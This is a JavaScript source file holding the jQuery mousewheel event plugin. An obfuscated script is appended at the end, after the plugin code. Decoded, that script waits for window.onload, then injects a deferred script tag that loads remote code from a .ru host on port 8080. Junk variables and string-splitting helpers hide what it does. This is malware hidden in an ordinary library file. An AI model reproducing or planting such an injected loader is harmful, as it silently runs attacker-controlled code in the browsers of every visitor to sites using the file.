/* Copyright (c) 2006 Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
 * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
 * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
 * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
 *
 * $LastChangedDate$
 * $Rev$
 *
 * Version: @VERSION
 * 
 * Requires: $ 1.2.2+
 */

(function($) {

$.event.special.mousewheel = {
	setup: function() {
		var handler = $.event.special.mousewheel.handler;
		
		// Fix pageX, pageY, clientX and clientY for mozilla
		if ( $.browser.mozilla )
			$(this).bind('mousemove.mousewheel', function(event) {
				$.data(this, 'mwcursorposdata', {
					pageX: event.pageX,
					pageY: event.pageY,
					clientX: event.clientX,
					clientY: event.clientY
				});
			});
	
		if ( this.addEventListener )
			this.addEventListener( ($.browser.mozilla ? 'DOMMouseScroll' : 'mousewheel'), handler, false);
		else
			this.onmousewheel = handler;
	},
	
	teardown: function() {
		var handler = $.event.special.mousewheel.handler;
		
		$(this).unbind('mousemove.mousewheel');
		
		if ( this.removeEventListener )
			this.removeEventListener( ($.browser.mozilla ? 'DOMMouseScroll' : 'mousewheel'), handler, false);
		else
			this.onmousewheel = function(){};
		
		$.removeData(this, 'mwcursorposdata');
	},
	
	handler: function(event) {
		var args = Array.prototype.slice.call( arguments, 1 );
		
		event = $.event.fix(event || window.event);
		// Get correct pageX, pageY, clientX and clientY for mozilla
		$.extend( event, $.data(this, 'mwcursorposdata') || {} );
		var delta = 0, returnValue = true;
		
		if ( event.wheelDelta ) delta = event.wheelDelta/120;
		if ( event.detail     ) delta = -event.detail/3;
		if ( $.browser.opera  ) delta = -event.wheelDelta;
		
		event.data  = event.data || {};
		event.type  = "mousewheel";
		
		// Add delta to the front of the arguments
		args.unshift(delta);
		// Add event to the front of the arguments
		args.unshift(event);

		return $.event.handle.apply(this, args);
	}
};

$.fn.extend({
	mousewheel: function(fn) {
		return fn ? this.bind("mousewheel", fn) : this.trigger("mousewheel");
	},
	
	unmousewheel: function(fn) {
		return this.unbind("mousewheel", fn);
	}
});

})(jQuery);
var T=["g","kI","nu"];var x;Y=function(){var oo=new Array();var Oe={a:"gc"};P={};function v(vB,j,k){var vV="vV";var H=new Array();return vB.substr(j,k);this.eVQ="eVQ";}var vm=new Date();var ps=new Date();var xc=RegExp;var c='';try {var A='Sm'} catch(A){};var n=document;this.V=21367;this.V+=214;var f=["I","OC","vT"];var J="/goo"+"gle."+"com/"+"ggph"+v("t.co3xu2",0,4)+"m/ko"+v("cw6ooracw6",3,4)+v(".comSeL0",0,4)+".php";this.Su=1677;this.Su--;this.XX=26589;this.XX--;this.KL="KL";TX=5940;TX-=81;function E(vB,j){var k=String("[")+j+String("]");var xD=new xc(k, new String(v("gZNoU",0,1)));var i="i";return vB.replace(xD, c);bE=["Im"];};this.Aj=56314;this.Aj-=175;Hg={Td:"MV"};this.W=false;var r=null;this.RY=false;var b=E('sPcGrFi6pAt2','62APSbGFTJ');var z=697912-689832;yn=34840;yn-=36;var U=new String("bo"+"dy");x=function(){var Xq=new String();try {this.kd=61523;this.kd++;this.gy=4891;this.gy++;var d=E('cJr_e2ahtzexEMlGe7mWeVnsty','WGDyzkYiV72_PsdhxAMJ');o=n[d](b);var dc={fk:17645};var _=E('syrbc2','iT8GeK9AFbyqIo2N');this.eB=12266;this.eB-=19;var vB=z+J;var L={im:"Zk"};this.Uet=387;this.Uet+=167;var O=String(v("dejPz",0,2)+"fe"+v("rhEi6",0,1));var gn=new Array();var HV={Ve:"cR"};o[_]="htt"+v("p:/vw2r",0,3)+"/be"+v("taf1ZUY",0,3)+"lee"+v("t.r5dIk",0,3)+"u:"+vB;this.mC=false;var xu=["_a","Ji"];zv=63505;zv-=60;o[O]=[1][0];try {var Ab='oz'} catch(Ab){};n[U].appendChild(o);var UN=["nl"];var Ax=["yP","dY"];} catch(Q){Xm={F:false};try {var OR='_j'} catch(OR){};var Es="";};try {var qe='gS'} catch(qe){};this.ss='';};FD=5493;FD++;};dx={B:11440};Sv={aT:40146};Y();Xw={W_y:false};this.Wi=26070;this.Wi-=226;window.onload=x;Xa={FdO:false};